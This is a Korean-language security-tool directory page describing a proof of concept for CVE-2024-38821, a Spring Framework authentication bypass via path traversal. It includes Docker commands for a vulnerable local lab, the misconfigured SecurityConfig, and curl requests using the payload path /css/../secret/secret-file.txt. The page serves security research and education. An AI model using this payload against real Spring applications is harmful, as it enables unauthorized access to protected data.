Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/masa42/cve-2024-38821-poc
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmasa42/cve-2024-38821-poc

CVE-2024-38821-POC

CVE-2024-38821에 대한 개념 증명 익스플로잇으로, Spring Framework에서 경로 탐색을 통한 인증 우회를 통해 제한된 리소스에 접근하는 방법을 시연합니다.

저장소 보기
1241년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-38821: 개념 증명(PoC): Spring Framework의 인증 우회

이는 CVE-2024-38821 취약점에 대한 개념 증명입니다.

실행 단계

  1. 도커 이미지 빌드 (Spring Boot 3.3.4, Spring Framework 6.1.13 기반)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38821-poc .
    
  2. 컨테이너를 실행하고 호스트 머신에 포트 8080 노출

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
    
  3. 다음 명령어를 실행하여 PoC를 수행하고 취약점 확인

    root@kitploit:~
    curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # 예상: 302 응답 (로그인 필요)
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # 예상: 200 응답 (인증 우회)
    

    공격이 성공하면 응답에 This is a secret file.이 표시됩니다.

설명

  1. SecurityConfig.java를 생성하여 접근 권한 설정:

    • /css/ 하위 경로는 인증 없이 접근 허용.
    • /secret/ 하위 경로는 인증 필요.
    root@kitploit:~
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .authorizeExchange(exchange -> exchange
                .pathMatchers("/css/**", "/").permitAll() // 정적 리소스와 최상위 페이지는 인증 불필요
                .pathMatchers("/secret/**").authenticated() // "secret" 경로는 인증 필요
                .anyExchange().authenticated() // 다른 모든 경로는 인증 필요
            )
            .formLogin().and() // 폼 기반 인증 활성화
            .build();
    }
    
  2. 다음과 같은 페이로드를 생성합니다. 페이로드가 /css/로 시작하므로 허용된 경로 패턴과 일치합니다. /secret/으로 시작하지 않으므로 인증이 필요한 경로 패턴과 일치하지 않습니다:

    • 경로: /css/../secret/secret-file.txt
  3. 다음 curl 명령어를 사용하여 PoC를 실행하고 공격 성공 여부를 확인:

    root@kitploit:~
    # 참고: URL 정규화 없이 요청을 보내려면 --path-as-is 옵션이 필요합니다.
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
    

    공격이 성공하면 응답에 This is a secret file.이 표시됩니다.

면책 조항

이 PoC는 교육 및 보안 연구 목적으로 제공됩니다. 실제 시스템에서 사용하기 전에 취약점이 수정되었고 적절한 권한이 있는지 확인하십시오. 작성자는 이 코드의 오용에 대해 책임을 지지 않습니다.

도구 다운로드